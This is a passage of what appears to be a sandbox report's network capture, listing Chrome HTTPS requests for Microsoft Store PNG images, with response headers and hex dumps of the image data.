9 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 
00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 
Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @   @6@ p6 @

2022-05-26 11:45:29 UTC 176 IN Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 
f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 
6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 
25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb 
d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f 
d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 
d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b 
Data Ascii: l9|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`|/z$>=unAn"$|tLV 
,Xx`.bd

2022-05-26 11:45:29 UTC 184 IN Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 
1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 
47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 
66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 
94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 
1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 
b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 
Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.4 49732 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:30 UTC 189 OUT GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-
e873039b6d86?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:30 UTC 189 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9564
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY"
MS-CV: PTXdXnhlC0uTORe3.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:30 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-05-26 11:45:30 UTC 190 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 
92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 
96 22 20 a6 43 d9 a2 e4 c8 89 48 91 41 c4 25 e2 1a 72 46 5c c6 9a 95 bd cc f4 56 f7 e4 c3 bb ef bd fb 6e bd ad aa ab 87 
54 d7 ff 07 16 fb d5 da 3d 55 fd 7e 7d ce b9 e7 de 0b 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 
Data Ascii: PNGIHDR,,y}u%#IDATxiduW[or"U%!!)b8@ qXF!/,Af,JK" CHA%rF\VnT=U~}B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.4 49733 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:30 UTC 199 OUT GET /image/apps.16957.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.aef04b90-a221-4ea5-a05d-
0d51ac792471?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:30 UTC 200 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16935
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:45 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODFCQzYxOTE"
MS-CV: 0jLeqAm/ckGHvdAs.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:30 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:30 UTC 200 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 41 d9 49 44 41 54 78 9c ed 7d 09 bc 1d 45 99 ef bf cf 7a 
f7 7b b3 dd ec 0b 09 d9 48 48 08 09 48 80 80 c8 8e 3a 88 30 22 3a 0a e8 f8 1c 06 15 f5 39 e3 73 1b 75 46 07 d7 d1 d1 
19 77 87 a7 30 3a 8a 03 c8 22 b2 2f 49 d8 21 40 12 b2 ef eb cd 4d ee 7e cf bd 67 ed f7 55 55 57 77 75 77 75 9f ee 73 6f 
80 f9 fd 5e c1 c9 3d a7 6b fb aa ea 5f df 56 4b a7 f0 89 df 6d 43 2a 3d 06 e5 32 60 18 a0 7f 80 84 c1 ff f0 df f2 03 c3 fd 9b 
3f 4a 38 7f 65 7c c2 93 c6 97 4f 2d 53 96 a1 cb 2b e3 83 f2 26 14 3a 3c 79 e1 a1 41 f3 2c 61 91 c6 42 82 d3 af 24 85 28 
8e ff b5 be 24 14 72 12 50 8b 36 ec e7 80 3b 0e 56 bc a1 
Data Ascii: PNGIHDR0pHYsodAIDATx}Ez{HHH:0":9suFw0:"/I!@M~gUUWwuwuso^=k_VKmC*=2`?J8e|O-S+&:
<yA,aB$($rP6;V

2022-05-26 11:45:30 UTC 216 IN Data Raw: 56 54 9d a7 6a 1e 54 37 c7 8f 8b 72 7b 3c ca 0f 52 98 ed a0 1b 35 6f a7 55 99 c5 3e a6 e5 be c7 f0 f5 0f 35 20 
b1 2a a3 f2 26 70 5c 01 3e c3 23 4c 54 1d ef 0e 19 d5 f2 23 29 cc f2 8b d7 fe 0c e3 cb 4a 12 c9 dc 46 23 bc 51 3a 54 55 
f7 85 da 07 01 7d f2 66 da 56 31 2a 21 e0 a2 03 f7 77 dd 88 c5 e0 7d aa b7 75 b4 94 d5 11 95 53 a3 0c 8c a3 30 7b c3 71 
bf 74 e0 8d 08 56 a3 f4 db 41 bd dc c6 ab 44 57 09 de 31 f2 5d 16 55 bd 0c 57 ff 8e 86 de 63 97 11 13 7d a1 03 ed 2e 8b 
27 55 1f e9 80 53 0d 34 ea 44 7b bd 01 a6 f3 53 05 27 d6 75 62 b5 a9 ae ef fc a0 ba dc cf a3 2d fc f8 ca f1 b9 10 c2 eb d4 
07 13 f6 15 15 51 b1 a3 69 6a d0 1b 84 fd 34 33 e0 44 58 e4 54 1b e1 fd 7b bc 82 ae e3 62 d5 a9 03 4e a8 be 23 65 7c f8 
e9 07 fb b7 a2 37 3a a1 86 83 57 86 55 66 80 67 21 
Data Ascii: VTjT7r{<R5oU>5 *&p\>#LT#)JF#Q:TU}fV1*!w}uS0{qtVADW1]UWc}.'US4D{S'ub-Qij43DXT{bN#e|7:WUfg!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.4 49734 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:30 UTC 217 OUT GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-
74f2065197d3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-26 11:45:30 UTC 217 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10694
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE"
MS-CV: PAMnN/lHQEOUOWN/.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:30 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:30 UTC 218 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c 
fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 
21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 
33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 
a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 
Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ
)RJ)RJ)RJ)RJ)

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

18 192.168.2.4 49735 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:30 UTC 217 OUT GET /image/apps.18124.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.afc6c372-c7a8-4eda-94fb-
541bbb081d14?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:30 UTC 228 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2629
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:24 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNUI1OEFDQ0E"
MS-CV: uTeCNqL8s0mgIiPD.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:30 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:30 UTC 229 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 09 da 49 44 41 54 78 5e ed 9d 77 8c 15 55 14 87 31 31 46 45 b1 61 ef 46 25 96 d8 4d 6
c d1 c4 58 13 6b 6c b1 46 13 4b 62 8b 2d 9a 18 35 d8 f5 0f 7b c1 86 95 a2 48 53 04 11 50 14 04 e9 ba 2b 9d 08 88 08 82 
88 bb af d7 3d de df dd 1d 5d 37 b3 f0 f6 ec 7b f3 ee 1d 7e 27 f9 12 ca ee 7b 6f 66 be b9 f7 9c 5b e6 f5 d8 fb 83 84 10 d2 
55 28 0e 51 41 71 88 0a 8a 43 54 50 1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 0a 8a 43 54 50 
1c a2 82 e2 10 15 14 87 a8 a0 38 44 05 c5 21 2a 28 0e 51 41 71 88 
Data Ascii: PNGIHDR0sRGBgAMAapHYsodIDATx^wU11FEaF%MlXklFKb-5{HSP+=]7{~'{of[U(QAqCTP8D!*(QA
qCTP8D!*(QAq

Session ID Source IP Source Port Destination IP
Destination
Port

Process

19 192.168.2.4 49736 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:31 UTC 231 OUT GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-
8e079298b84b?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-26 11:45:31 UTC 232 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 57945
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc"
MS-CV: ejMSje+zLkSN72MX.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:31 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:31 UTC 232 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 
20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 
c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee 
aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c 
d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb
91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d 
c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 
Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$|4&c</+L@.pQf|tic:G,-7

2022-05-26 11:45:31 UTC 248 IN Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 
20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 
2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 
b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 
02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 
fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 
02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 
Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"*uf2SI%CH:j8.SU*x:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Ws
g80qa'*iRHg}6y

2022-05-26 11:45:31 UTC 256 IN Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b 
ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 
0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 
e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 
f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 
bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 
33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed 
Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGl*Ukg63dIg![1}/n<Fd,cE~}*KX)/'#5gR6=SI]#x3OC3xH

2022-05-26 11:45:31 UTC 272 IN Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 
44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 
5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 
1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 
f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b 
cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 
99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 
Data Ascii: \[_B&X,K,{&JzXD\cUdG|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ

2022-05-26 11:45:31 UTC 280 IN Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 
04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 
9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 
9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 
9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 
cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 
9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e 
Data Ascii: 7e^']u=J X*\SRTpdU+srK'*UK)r~avM?=+_gvM^3c3Q00?*\O~O7v"e&I{*Qfj5o+}\V4T2K("3Y1eGNeUU.2qc
eT+Uq<T(HdK3<

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

2 192.168.2.4 49719 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:28 UTC 57 OUT GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-
59f575e79b05?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-26 11:45:28 UTC 58 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1821
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ"
MS-CV: opsyL7UQw0OK0Svs.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:28 UTC 58 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 
1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 
83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 4
9 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d 
f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 
c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 
Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.2.4 49737 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:31 UTC 289 OUT GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-
431c9fcc4d54?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:31 UTC 289 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64317
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:43 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNDRkUxOEI4MTU"
MS-CV: hJL5u9fB70qoso/s.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:31 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:31 UTC 289 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 2c a0 03 00 04 00 00 00 
01 00 00 01 2c 00 00 00 00 d8 60 82 e7 00 00 40 00 49 44 41 54 78 01 e4 bd 6d cc 75 ed 76 15 b4 df f7 9c 9e 96 7e 9d 
c2 e9 17 14 fb 0d ad 4d 5b da 83 a5 b6 60 84 46 20 2a 96 60 11 8c 10 a3 89 96 1f 0d 44 8d 7f 1a 7f 98 a8 89 1a 83 09 46 
63 fc ab e8 1f 11 4c fc 81 98 aa 29 06 93 86 a4 18 63 a2 10 51 a9 22 04 43 29 1f 8d 4d 69 cf 71 8e 71 8d 31 d7 b8 e6 ba 
